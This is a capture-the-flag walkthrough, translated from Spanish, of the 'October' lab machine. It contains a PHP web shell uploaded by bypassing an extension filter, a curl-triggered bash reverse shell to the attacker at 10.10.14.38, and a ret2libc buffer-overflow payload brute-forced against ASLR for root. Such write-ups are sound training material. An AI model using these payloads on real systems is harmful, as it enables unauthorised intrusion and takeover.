This page was translated from Spanish with AI. The original version is in Spanish: read the original.

October


In this machine we exploit OctoberCMS with default credentials and a file upload that bypasses an extension check. For privilege escalation we perform a buffer overflow with a technique called ret2libc, with ASLR (Address Space Layout Randomization) enabled

March 27, 202410 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

> ping -c 1 10.10.10.16
PING 10.10.10.16 (10.10.10.16) 56(84) bytes of data.
64 bytes from 10.10.10.16: icmp_seq=1 ttl=63 time=37.4 ms

--- 10.10.10.16 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 37.437/37.437/37.437/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.16 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.16
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> sudo nmap -sCV -p22,80 10.10.10.16 -Pn -oN versions

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

Port 80

nmap reported that port 80 is open and running a website

With whatweb we can see what we are dealing with

> whatweb http://10.10.10.16
http://10.10.10.16 [200 OK] Apache[2.4.7], Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], HttpOnly[october_session], IP[10.10.10.16], Meta-Author[October CMS], PHP[5.5.9-1ubuntu4.21], Script, Title[October CMS - Vanilla], X-Powered-By[PHP/5.5.9-1ubuntu4.21]

It’s an October CMS. A Google search tells us this CMS has its login at /backend and that the default credentials are admin:admin. If we try to log in with these credentials… it works, and we are now inside the admin panel

Exploitation

In the admin panel there is a file upload section where we can try to sneak in a PHP file.

First we’ll try to upload a basic script called shell.php with the following code

<?php
system($_GET['cmd']);
?>

As expected, it fails.

It might be blocking the file based on its extension. The next step would be to try sending the file with other PHP extensions.

.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

We can automate this process with Burp Suite’s Intruder.

We start by selecting which value we’re going to change, in this case the extension

Then we load a file with all the extensions, which will act as the wordlist for the brute force

> /usr/bin/cat extensions.txt
php
php2
php3
php4
php5
php6
php7
phps
phps
pht
phtm
phtml
pgif
shtml
htaccess
phar
inc
hphp
ctp
module

All that’s left is to click start attack.

What Burp Suite will do is replace the extension with each of the extensions we gave it as a wordlist, giving the following result.

Here we can see that requests trying to upload a file with a blocked extension return a 400 error, and those that did manage to upload a file return a 200

Now we can access the uploaded files at the following path

http://10.10.10.16/storage/app/media/ http://10.10.10.16/storage/app/media/shell.php5

To get access to the machine, all that’s left is to listen on port 443.

nc -nvlp 443

And send ourselves a reverse shell

curl -s -G "http://10.10.10.16/storage/app/media/shell.php5" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.38/443 0>&1'"

We’re in B)

Before escalating, we upgrade the TTY so we can use ctrl + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Now, if we run echo $TERM, we see it is set to dumb, but for ctrl + l to work we need it to be xterm

export TERM=xterm

Finally, if we check our shell with echo $SHELL, we see /usr/sbin/nologin, so we assign bash

export SHELL=bash

Privilege escalation

We start the escalation by looking for files with SUID permissions

find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null

...
-rwsr-xr-- 1 root dip 323000 Apr 21  2015 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24  2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw

Among all the files found, one stands out: /usr/local/bin/ovrflw. To see what it is and analyze it, we’ll copy it to our attacker machine

I tried copying it to my machine with a Python HTTP server, but it didn’t work, so we’ll transfer it with base64

Target machine:

base64 ovrflw

We save the whole base64 output in a file called temp.txt on the attacker machine, then decode it and save it to a file called ovrflw

base64 -d temp.txt > ovrflw

We make it executable

chmod +x ovrflw

Now we can start analyzing it

When we run it, a message explains how to use the program

> ./ovrflw
Syntax: ./ovrflw <input string>

It tells us we need to pass an input as a parameter

./ovrflw a

But nothing shows up when we pass something.

That’s strange, so let’s see what’s going on in Ghidra

main function

undefined4 main(int param_1,undefined4 *param_2)

{
  char local_74 [112];
  
  if (param_1 < 2) {
    printf("Syntax: %s <input string>\n",*param_2);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  strcpy(local_74,(char *)param_2[1]);
  return 0;
}

1- First, a variable with a 112-byte buffer is declared

2- It checks whether we have provided a parameter.

3- It uses the strcpy function to store our input in the previously declared variable.

strcpy is a function you shouldn’t use, because if the input is larger than expected it causes a buffer overflow, as in this case:

> ./ovrflw $(python2 -c "print 'A'*200")
zsh: segmentation fault  ./ovrflw $(python2 -c "print 'A'*200")

We get a segmentation fault, so we can try to carry out a buffer overflow

Let’s check the binary’s protections to think about how we could exploit it

> checksec ./ovrflw
[*] '/home/d3b0o/Downloads/ovrflw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

It has NX enabled, so we can’t do a buffer overflow and load shellcode on the stack because it won’t run, but what we can do is a ret2libc buffer overflow.

The first thing is to find the offset to EIP (the number of characters we need to send to overwrite EIP).

For this we’ll use gdb with the pwndbg plugin.

We create a 500-character string

msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

This string is specially designed for this purpose

We send it to pwndbg

pwndbg> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /home/d3b0o/Downloads/ovrflw Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
 EAX  0x0
*EBX  0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX  0xffffd290 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDX  0xffffcf62 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDI  0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI  0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP  0x41366441 ('Ad6A')
*ESP  0xffffcdf0 ◂— 0x39644138 ('8Ad9')
*EIP  0x64413764 ('d7Ad')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x64413764

The program obviously crashes, since we’ve overwritten EIP with an address that doesn’t exist and the program can’t continue.

The following command automatically calculates the EIP offset

> msf-pattern_offset -l 500 -q 0x64413764
[*] Exact match at offset 112

To check that it really is 112, we’ll send 112 ‘A’s followed by 4 ‘B’s. If everything worked, EIP should be 42424242, since B in hex is 42

pwndbg> r $(python2 -c "print 'A' * 112 + 'B' * 4")
Starting program: /home/d3b0o/Downloads/ovrflw $(python2 -c "print 'A' * 112 + 'B' * 4")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
 EAX  0x0
*EBX  0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX  0xffffd290 ◂— 'AAAAAAAAAABBBB'
*EDX  0xffffcf62 ◂— 'AAAAAAAAAABBBB'
*EDI  0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI  0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP  0x41414141 ('AAAA')
*ESP  0xffffcf70 ◂— 0x0
*EIP  0x42424242 ('BBBB')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x42424242

It works.

The next step to exploit the ret2libc is to check whether ASLR is enabled.

ASLR: Address Space Layout Randomization. This protection isn’t part of the program itself; it’s a system protection, and it’s rare to find it disabled on current systems. To see whether it’s enabled, we cat /proc/sys/kernel/randomize_va_space. If the content is 0, it’s disabled; if it isn’t 0, it’s enabled

www-data@october:/usr/local/bin$ cat  /proc/sys/kernel/randomize_va_space
2

In this case it’s enabled. Another way to check would be to look at the libc address several times in a loop.

 www-data@october:/usr/local/bin$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done

	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7589000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a5000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bb000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d0000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bf000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b0000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761c000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755d000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d1000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756e000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759f000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75fb000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755a000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7548000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c8000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757a000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7582000)

We can see that it keeps changing

This will make the exploitation a bit harder.

The next step is to find the addresses of system, /bin/sh and, optionally, exit. What we’ll do is call the system function and pass it /bin/sh as a parameter to get a shell run by root

(From the target machine)

  • /bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" 
 162bac /bin/sh
  • system and exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

We’ll also pick a libc base address like this one, for example 0xb75f5000

We calculate the addresses:

libc = 0xb75f5000

#SYSTEM
system = hex(libc + 0x40310)

#EXIT
exit = hex(libc + 0x33260)

#/bin/sh
sh = hex(libc + 0x162bac)

print(system, exit, sh)
> python3 bof.py
0xb7635310 0xb7628260 0xb7757bac

Now we have the 3 addresses, but we need to convert them to little endian

  • System: 0xb7635310 -> \x10\x53\x63\xb7
  • Exit: 0xb7628260 -> \x60\x82\x62\xb7
  • /bin/sh: 0xb7757bac -> \xac\x7b\x75\xb7

The final payload would look like this

./ovrflw $(python2 -c "b'A' * 112 + b'\x10\x53\x63\xb7' + b'\x60\x82\x62\xb7' + b'\xac\x7b\x75\xb7'")

The idea is fine, but this wouldn’t work because we aren’t taking ASLR into account, since we’re assuming the libc address is 0xb75f5000

What we can do is run the script in an infinite loop, because at some point the libc library will get the address 0xb75f5000 again

while true; do /usr/local/bin/ovrflw $(python -c 'print b"A"*112 + "\x10\x53\x63\xb7" + "\x60\x82\x62\xb7" + "\xac\x7b\x75\xb7"'); done
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# whoami
root

After a while, we are root